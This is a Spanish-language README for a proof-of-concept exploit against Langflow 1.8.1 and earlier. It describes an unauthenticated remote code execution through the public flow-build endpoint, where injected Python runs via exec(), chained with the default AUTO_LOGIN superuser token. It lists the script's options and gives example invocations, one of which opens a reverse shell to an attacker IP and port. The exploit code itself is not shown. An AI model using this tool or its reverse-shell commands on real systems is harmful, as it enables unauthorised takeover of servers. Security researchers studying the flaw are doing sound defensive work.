
La vulnerabilidad en Langflow 1.8.1 y versiones anteriores permite que un atacante remoto no autenticado logre la ejecución arbitraria de comandos en el host.
La vulnerabilidad en Langflow 1.8.1 y versiones anteriores permite a un atacante remoto no autenticado lograr la ejecución arbitraria de comandos en el host.
El endpoint POST /api/v1/build_public_tmp/{flow_id}/flow permite a cualquier persona construir flujos públicos sin autenticación.
Al proporcionar el parámetro opcional data, un atacante puede sobrescribir el flujo almacenado con su propia definición manipulada, incrustando código Python arbitrario dentro de las configuraciones de nodos. Este código controlado por el usuario se ejecuta mediante exec() sin sandboxing ni validación, lo que conduce a la ejecución remota de código no autenticada.
Langflow 1.8.1 y versiones anteriores
AUTO_LOGIN=trueCuando AUTO_LOGIN=true (configuración predeterminada), un atacante no autenticado puede cumplir todas las condiciones:
GET /api/v1/auto_login → obtener un token de superusuarioPOST /api/v1/flows/ → crear un flujo públicobuild_public_tmp sin ninguna autenticaciónpython cve-2026-33017.py <host> [opciones]
Opciones:
-p PORT, --port PORT: Puerto SSH (predeterminado: 7860)
-id FLOW_ID, --flow_id FLOW_ID: ID del flujo público (se creará uno nuevo si se omite)
-c COMMAND, --command COMMAND: Comando personalizado a ejecutar
--shell: Iniciar una reverse shell
--lhost LHOST: IP del atacante para la reverse shell
--lport LPORT: Puerto del atacante para la reverse shell (predeterminado: 4444)
-t TIMEOUT, --timeout TIMEOUT: Tiempo de espera de conexión en segundos (predeterminado: 5)
python cve-2026-33017.py 127.0.0.1 -c 'touch /tmp/pwned.txt'
python cve-2026-33017 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
Este PoC es solo para fines educativos y de investigación. Úsalo bajo tu propio riesgo. El autor no es responsable de ningún uso indebido o daño causado.